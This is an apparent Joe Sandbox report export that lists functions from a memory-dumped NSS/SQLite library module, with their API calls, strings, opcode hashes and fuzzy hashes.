Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Arena_Item_$Free$AlgorithmAlloc_ArenaCopyEncodeFindTag_$ErrorZfree$Integer_$GenerateHashInitK11_LockPoolRandomResultTypecallocfree
String ID: tFVPj
API String ID: 2709086113-199373283
Opcode ID: 0d09c6367e0044d60e23fb6bcfa72244d06ea498a7fbb622b9e994fc27136670
Instruction ID: 4b4ea105b3c7985275841ea13ccdf087b2130c7c824a8c5120fb01ea43c8c5d8
Opcode Fuzzy Hash: 0d09c6367e0044d60e23fb6bcfa72244d06ea498a7fbb622b9e994fc27136670
Instruction Fuzzy Hash: E3D127B19053049BEB108F26DE89BAB77E8EF16308F14453AED54C6E81F730D558C7A2

Function 6C6B3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C6B3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C6B410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6B449C

Strings

%s at line %d of [%.10s], xrefs: 6C6B4495, 6C6B44F9, 6C6B459E, 6C6B4769, 6C6B4809
database corruption, xrefs: 6C6B4490, 6C6B44F4, 6C6B4599, 6C6B4764, 6C6B4804
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6B4452, 6C6B4486, 6C6B44EA, 6C6B4571, 6C6B4580, 6C6B458F, 6C6B475A, 6C6B47FA

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: bccce41c65aa9d99369b4eb49ffa509743887360591c07efad8e3adcfbdca5de
Instruction ID: 5bb1b424bf5864353bee62ac2fd49a929a834253da578eeef8e555ad58f7c9b5
Opcode Fuzzy Hash: bccce41c65aa9d99369b4eb49ffa509743887360591c07efad8e3adcfbdca5de
Instruction Fuzzy Hash: 8B82CF71A00215CFCB04CF69C580BAAB7B2FF49318F2581A9D905BBB51D771EC62CB99

Function 6C78AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C78ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C78ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C78ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C78AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C78ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C78ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C78ADF0

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C78B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C78B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C78B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C78B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C78B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C78B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C78B40C

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 0f9319aea5119591cdf08436718d9f0436a5cb8a44224937400463cd4c2b7043
Instruction ID: ed55b97874276b6af249aad35e12cdfe0e6770f4bcb4a706673c3f12980543ee
Opcode Fuzzy Hash: 0f9319aea5119591cdf08436718d9f0436a5cb8a44224937400463cd4c2b7043
Instruction Fuzzy Hash: A622D170905301AFE710CF14CE49B9A77E1AF8431CF14857CEA585B7A2E772E859CB92

Function 6C70ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C70ED38

Part of subcall function 6C6A4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C70EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C70EFE4

Part of subcall function 6C7CDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C6A5001,?,00000003,00000000), ref: 6C7CDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C70F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C70F129
sqlite3_mprintf.NSS3(optimize), ref: 6C70F1D1
sqlite3_free.NSS3(?), ref: 6C70F368

Strings

fts4aux, xrefs: 6C70ECF9
matchinfo, xrefs: 6C70F04F, 6C70F082, 6C70F0C2, 6C70F0F2, 6C70F124, 6C70F169
optimize, xrefs: 6C70F199, 6C70F1CC, 6C70F211
fts3tokenize, xrefs: 6C70F30F
offsets, xrefs: 6C70EFAF, 6C70EFDF, 6C70F01F
porter, xrefs: 6C70ED97
fts3_tokenizer, xrefs: 6C70EE1A, 6C70EEA8
snippet, xrefs: 6C70EF05, 6C70EF37, 6C70EF7C
unicode61, xrefs: 6C70EDB5
simple, xrefs: 6C70ED79
fts4, xrefs: 6C70F2AD
fts3, xrefs: 6C70F247

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: ac755dc5ea4c94715eaf03416569bf22862dad6570eba283b93c4ad0b4ea5f58
Instruction ID: 7dbc6ebba15c4621076cb0d05d27c9b98bc6086e4be1aafc96f759879254725e
Opcode Fuzzy Hash: ac755dc5ea4c94715eaf03416569bf22862dad6570eba283b93c4ad0b4ea5f58
Instruction Fuzzy Hash: C002E1B2B043005BE7149F719A8932B76F5BBC571CF18893CD85A87B01EB74E84AC796

Function 6C787C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C787C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C787C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C787D1E

Part of subcall function 6C787870: SECOID_FindOID_Util.NSS3(?,?,?,6C7891C5), ref: 6C78788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C787D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C787D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C787DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C787DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C787DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C787E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C787E58

Part of subcall function 6C787870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7891C5), ref: 6C7878BB
Part of subcall function 6C787870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C7891C5), ref: 6C7878FA
Part of subcall function 6C787870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C7891C5), ref: 6C787930
Part of subcall function 6C787870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7891C5), ref: 6C787951
Part of subcall function 6C787870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C787964
Part of subcall function 6C787870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C78797A
Part of subcall function 6C787870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C787988
Part of subcall function 6C787870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C787998
Part of subcall function 6C787870: free.MOZGLUE(00000000), ref: 6C7879A7
Part of subcall function 6C787870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C7891C5), ref: 6C7879BB
Part of subcall function 6C787870: PR_GetCurrentThread.NSS3(?,?,?,?,6C7891C5), ref: 6C7879CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C787E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C787F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C787F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C787FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C787FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C788038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C788050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C788093
SECOID_FindOID_Util.NSS3 ref: 6C787F29

Part of subcall function 6C7807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C728298,?,?,?,6C71FCE5,?), ref: 6C7807BF
Part of subcall function 6C7807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7807E6
Part of subcall function 6C7807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C78081B
Part of subcall function 6C7807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C780825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C788072
SECOID_FindOID_Util.NSS3 ref: 6C7880F5

Part of subcall function 6C78BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C78800A,00000000,?,00000000,?), ref: 6C78BC3F

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 5199da9e8cc677082fb40eea6fdec0df6d20ce580838e37c8f70838f40e83d47
Instruction ID: 5f602c9457f5f62814d8b54b80d96c043a78e535dcbf5206becf3cbc3de31a41
Opcode Fuzzy Hash: 5199da9e8cc677082fb40eea6fdec0df6d20ce580838e37c8f70838f40e83d47
Instruction Fuzzy Hash: D2E1B0716063009FD710CF29CA88B5AB7E5AF84318F14497DFA9A9BB51E731EC05CB92

Function 6C711C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C711C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C711C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C711CA1
GetLengthSid.ADVAPI32(?), ref: 6C711CA9
malloc.MOZGLUE(00000000), ref: 6C711CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C711CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C711CE4
GetLengthSid.ADVAPI32(?), ref: 6C711CEC
malloc.MOZGLUE(00000000), ref: 6C711CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C711D0F
CloseHandle.KERNEL32(?), ref: 6C711D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C711D4D
GetLastError.KERNEL32 ref: 6C711D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C711D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C711D7A

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: c9c48608c6a7d0ef4dfd1da6576555b1cabdd77f5792658e58cec7ad3dfaef42
Instruction ID: 4bca7daa0df0410c88b6ad94f18e52df5afd53f83ea2ff0b7ad3ba7952a3f7e2
Opcode Fuzzy Hash: c9c48608c6a7d0ef4dfd1da6576555b1cabdd77f5792658e58cec7ad3dfaef42
Instruction Fuzzy Hash: F03160F1600228AFDF21AF64CD4CAAEBBB8EF4A309F004475F50893611EB305994CFA5

Function 6C79C8C0 Relevance: 25.9, APIs: 17, Instructions: 432COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C79CA51
TlsGetValue.KERNEL32 ref: 6C79CAE8
EnterCriticalSection.KERNEL32(?), ref: 6C79CAFC
PK11_FreeSymKey.NSS3(00000000), ref: 6C79CB2E
PK11_KeyGen.NSS3(?,?,00000000,00000000,?), ref: 6C79CB87
memset.VCRUNTIME140(?,00000000,00000410), ref: 6C79CBA8
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C79CCCD
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C79CCE1
PK11_PubDeriveWithKDF.NSS3 ref: 6C79CD3D
memcpy.VCRUNTIME140(?,?,?), ref: 6C79CD73
memcpy.VCRUNTIME140(?,?,?), ref: 6C79CD9D
PK11_WrapSymKey.NSS3(?,00000000,?,00000000,?), ref: 6C79CDDA
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6C79CE04
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C79CE17
PK11_FreeSymKey.NSS3(00000000), ref: 6C79CE24
PR_Unlock.NSS3 ref: 6C79CE49
PK11_FreeSymKey.NSS3(00000000), ref: 6C79CE96

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: K11_$ErrorFree$Destroymemcpy$CriticalDeriveEnterPrivatePublicSectionUnlockValueWithWrapmemset
String ID:
API String ID: 3685077037-0
Opcode ID: 21a01a6ce18c08e518ffe2f3ea863da6d83514879dc5d470c62aded6da810f17
Instruction ID: fbdd01d758a6a9580df4062830ca17769490faa6044d4331163dbe1fe1bb59e0
Opcode Fuzzy Hash: 21a01a6ce18c08e518ffe2f3ea863da6d83514879dc5d470c62aded6da810f17
Instruction Fuzzy Hash: D6F105B1D002148BEF10EF25EE847AAB774FF45319F1440B9D909A7B42E734DA84CB96

Function 6C71EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C71EF63

Part of subcall function 6C7287D0: PORT_NewArena_Util.NSS3(00000800,6C71EF74,00000000), ref: 6C7287E8
Part of subcall function 6C7287D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C71EF74,00000000), ref: 6C7287FD
Part of subcall function 6C7287D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C72884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C71F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C71F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C71F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C71F374
PL_strcasecmp.NSS3(6C862FD4,?), ref: 6C71F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C71F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C71F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C71F67D
CERT_DestroyName.NSS3(?), ref: 6C71F68B

Part of subcall function 6C728320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C728338
Part of subcall function 6C728320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C728364
Part of subcall function 6C728320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C72838E
Part of subcall function 6C728320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7283A5
Part of subcall function 6C728320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7283E3

Part of subcall function 6C7284C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C7284D9
Part of subcall function 6C7284C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C728528

Part of subcall function 6C728900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C71F599,?,00000000), ref: 6C728955

Strings

", xrefs: 6C71F21B
oid., xrefs: 6C71F2CF
*, xrefs: 6C71F3C6

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 4af9dd7ac12edd81653cb89e9810e3153e0b31aa2937dbbf88a264686b22b556
Instruction ID: 401c236214c3a6999f65a87dd1861301b2834fedee2e6bbf713aa9f5abb62f1c
Opcode Fuzzy Hash: 4af9dd7ac12edd81653cb89e9810e3153e0b31aa2937dbbf88a264686b22b556
Instruction Fuzzy Hash: EA22287160C3518FD714CE29CA9076AB7E6AB85368F1C8A3EE49587F92E7319C05C782

Function 6C6C1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6C1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C6C1FB7

Strings

sqlite_temp_master, xrefs: 6C6C1C5C
abort due to ROLLBACK, xrefs: 6C6C2223
no more rows available, xrefs: 6C6C2264
attached databases must use the same text encoding as main database, xrefs: 6C6C20CA
unknown error, xrefs: 6C6C2291
table, xrefs: 6C6C1C8B
another row available, xrefs: 6C6C2287
unsupported file format, xrefs: 6C6C2188
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C6C1F83
sqlite_master, xrefs: 6C6C1C61

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: 3c6689322991b113d06067b0192cfd00dead50c78372eafedef61e229562049d
Instruction ID: efd54ee326fc34e6d75821a05bba4cd8530cf7b4684cac331ac04db622c2603d
Opcode Fuzzy Hash: 3c6689322991b113d06067b0192cfd00dead50c78372eafedef61e229562049d
Instruction Fuzzy Hash: C6129E707083418FD715CF19C48465AB7F2FF89318F18896EE9958BB52D731E84ACB8A

Function 6C78EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C78C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C78DAE2,?), ref: 6C78C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C78F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C78F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C78F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C78F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C85218C), ref: 6C78F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C78F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C78F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C78F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C78F210

Part of subcall function 6C7352D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C78F1E9,?,00000000,?,?), ref: 6C7352F5
Part of subcall function 6C7352D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C73530F
Part of subcall function 6C7352D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C735326
Part of subcall function 6C7352D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C78F1E9,?,00000000,?,?), ref: 6C735340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C78F227

Part of subcall function 6C77FAB0: free.MOZGLUE(?,-00000001,?,?,6C71F673,00000000,00000000), ref: 6C77FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C78F23E

Part of subcall function 6C77BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C72E708,00000000,00000000,00000004,00000000), ref: 6C77BE6A
Part of subcall function 6C77BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7304DC,?), ref: 6C77BE7E
Part of subcall function 6C77BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C77BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C78F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C78F3A8

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C78F3B3

Part of subcall function 6C732D20: PK11_DestroyObject.NSS3(?,?), ref: 6C732D3C
